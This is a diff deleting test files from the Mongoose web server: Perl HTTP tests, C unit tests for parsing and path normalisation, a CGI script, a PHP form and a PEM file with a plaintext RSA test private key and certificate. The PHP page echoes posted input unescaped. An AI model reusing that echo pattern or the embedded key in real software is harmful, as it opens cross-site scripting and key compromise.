"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
"$auth_header\nabcd",
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
sub do_unit_test {
my $cmd = "cc -g -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
"-pthread -DNO_SSL ";
if (on_windows()) {
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
}
print $cmd, "\n";
system($cmd) == 0 or fail("Cannot compile unit test");
system($unit_test_exe) == 0 or fail("Unit test failed!");
}
sub do_embedded_test {
my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
"-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
if (on_windows()) {
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
}
print $cmd, "\n";
system($cmd) == 0 or fail("Cannot compile embedded unit test");
spawn("./$embed_exe");
o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
'Value: \[blah\]', 'mg_get_header', 0);
o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
'Value: \[foo\]', 'mg_get_var 1', 0);
o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
'Value: \[foo\]', 'mg_get_var 2', 0);
o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
'Value: \[foo\]', 'mg_get_var 3', 0);
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
"a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
"a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
'Value: \[foo\]', 'mg_get_var 7', 0);
o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
'Value: \[one\+two\]', 'mg_get_var 8', 0);
# + in form data MUST be decoded to space
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
"my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
# Test that big POSTed vars are not truncated
my $my_var = 'x' x 64000;
o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
"my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
# Other methods should also work
o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
"Content-Length: 3\n\na=b",
'Method: \[POST\].URI: \[/test_get_request_info\].'.
'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
'HTTP header \[Content-Length\]: \[3\].'.
'Query string: \[xx=yy\].'.
'Remote IP: \[\d+\].Remote port: \[\d+\].'.
'Remote user: \[\]'
, 'request_info', 0);
o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
# o("GET /foo/secret HTTP/1.0\n\n",
# '401 Unauthorized', 'mg_protect_uri', 0);
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
# '401 Unauthorized', 'mg_protect_uri (bill)', 0);
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
# '200 OK', 'mg_protect_uri (joe)', 0);
kill_spawned_child();
}
print "SUCCESS! All tests passed.\n";
-12
View File
@@ -1,12 +0,0 @@
#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
-269
View File
@@ -1,269 +0,0 @@
#define USE_WEBSOCKET
#include "mongoose.c"
#define FATAL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
abort(); \
} while (0)
#define ASSERT(expr) do { if (!(expr)) FATAL(#expr, __LINE__); } while (0)
static void test_parse_http_request() {
struct mg_request_info ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
ASSERT(parse_http_request(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_request(req2, sizeof(req2), &ri) == -1);
ASSERT(parse_http_request(req3, sizeof(req3), &ri) == -1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_request(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
// TODO(lsm): add more tests.
}
static void test_should_keep_alive(void) {
struct mg_connection conn;
struct mg_context ctx;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
conn.ctx = &ctx;
parse_http_request(req1, sizeof(req1), &conn.request_info);
ctx.config[ENABLE_KEEP_ALIVE] = "no";
ASSERT(should_keep_alive(&conn) == 0);
ctx.config[ENABLE_KEEP_ALIVE] = "yes";
ASSERT(should_keep_alive(&conn) == 1);
conn.must_close = 1;
ASSERT(should_keep_alive(&conn) == 0);
conn.must_close = 0;
parse_http_request(req2, sizeof(req2), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_request(req3, sizeof(req3), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_request(req4, sizeof(req4), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 1);
conn.status_code = 401;
ASSERT(should_keep_alive(&conn) == 0);
conn.status_code = 200;
conn.must_close = 1;
ASSERT(should_keep_alive(&conn) == 0);
}
static void test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
}
static void test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
printf("[%s] -> [%s]\n", data[i].before, data[i].after);
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
}
static const char *fetch_data = "hello world!\n";
static void *event_handler(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
if (event == MG_NEW_REQUEST && !strcmp(request_info->uri, "/data")) {
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
"Content-Length: %d\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s", (int) strlen(fetch_data), fetch_data);
return "";
} else if (event == MG_EVENT_LOG) {
printf("%s\n", mg_get_log_message(conn));
}
return NULL;
}
static void test_mg_fetch(void) {
static const char *options[] = {
"document_root", ".",
"listening_ports", "33796",
NULL,
};
char buf[2000], buf2[2000];
int length;
struct mg_context *ctx;
struct mg_request_info ri;
const char *tmp_file = "temporary_file_name_for_unit_test.txt";
struct mgstat st;
FILE *fp;
ASSERT((ctx = mg_start(event_handler, NULL, options)) != NULL);
// Failed fetch, pass invalid URL
ASSERT(mg_fetch(ctx, "localhost", tmp_file, buf, sizeof(buf), &ri) == NULL);
ASSERT(mg_fetch(ctx, "localhost:33796", tmp_file,
buf, sizeof(buf), &ri) == NULL);
ASSERT(mg_fetch(ctx, "http://$$$.$$$", tmp_file,
buf, sizeof(buf), &ri) == NULL);
// Failed fetch, pass invalid file name
ASSERT(mg_fetch(ctx, "http://localhost:33796/data",
"/this/file/must/not/exist/ever",
buf, sizeof(buf), &ri) == NULL);
// Successful fetch
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/data",
tmp_file, buf, sizeof(buf), &ri)) != NULL);
ASSERT(ri.num_headers == 2);
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
ASSERT(!strcmp(ri.uri, "200"));
ASSERT(!strcmp(ri.http_version, "OK"));
ASSERT((length = ftell(fp)) == (int) strlen(fetch_data));
fseek(fp, 0, SEEK_SET);
ASSERT(fread(buf2, 1, length, fp) == (size_t) length);
ASSERT(memcmp(buf2, fetch_data, length) == 0);
fclose(fp);
// Fetch big file, mongoose.c
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/mongoose.c",
tmp_file, buf, sizeof(buf), &ri)) != NULL);
ASSERT(mg_stat("mongoose.c", &st) == 0);
ASSERT(st.size == ftell(fp));
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
remove(tmp_file);
mg_stop(ctx);
}
static void test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
printf("[%s] [%s]\n", out[i], buf);
ASSERT(!strcmp(buf, out[i]));
}
}
static void test_mg_get_var(void) {
static const char *post[] = {"a=1&&b=2&d&=&c=3%20&e=", NULL};
char buf[20];
ASSERT(mg_get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, 2) == -1);
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
}
static void test_set_throttle(void) {
ASSERT(set_throttle(NULL, 0x0a000001, "/") == 0);
ASSERT(set_throttle("10.0.0.0/8=20", 0x0a000001, "/") == 20);
ASSERT(set_throttle("10.0.0.0/8=0.5k", 0x0a000001, "/") == 512);
ASSERT(set_throttle("10.0.0.0/8=17m", 0x0a000001, "/") == 1048576 * 17);
ASSERT(set_throttle("10.0.0.0/8=1x", 0x0a000001, "/") == 0);
ASSERT(set_throttle("10.0.0.0/8=5,0.0.0.0/0=10", 0x0a000001, "/") == 10);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/index") == 5);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/foo/x") == 7);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0b000001, "/foxo/x") == 0);
ASSERT(set_throttle("10.0.0.0/8=5,*=1", 0x0b000001, "/foxo/x") == 1);
}
static void test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
}
int main(void) {
test_base64_encode();
test_match_prefix();
test_remove_double_dots();
test_should_keep_alive();
test_parse_http_request();
test_mg_fetch();
test_mg_get_var();
test_set_throttle();
test_next_option();
return 0;
}
-9
View File
@@ -1,9 +0,0 @@
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>
-15
View File
@@ -1,15 +0,0 @@
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
-1
View File
@@ -1 +0,0 @@
200 ICON DISCARDABLE "systray.ico"
-50
View File
@@ -1,50 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB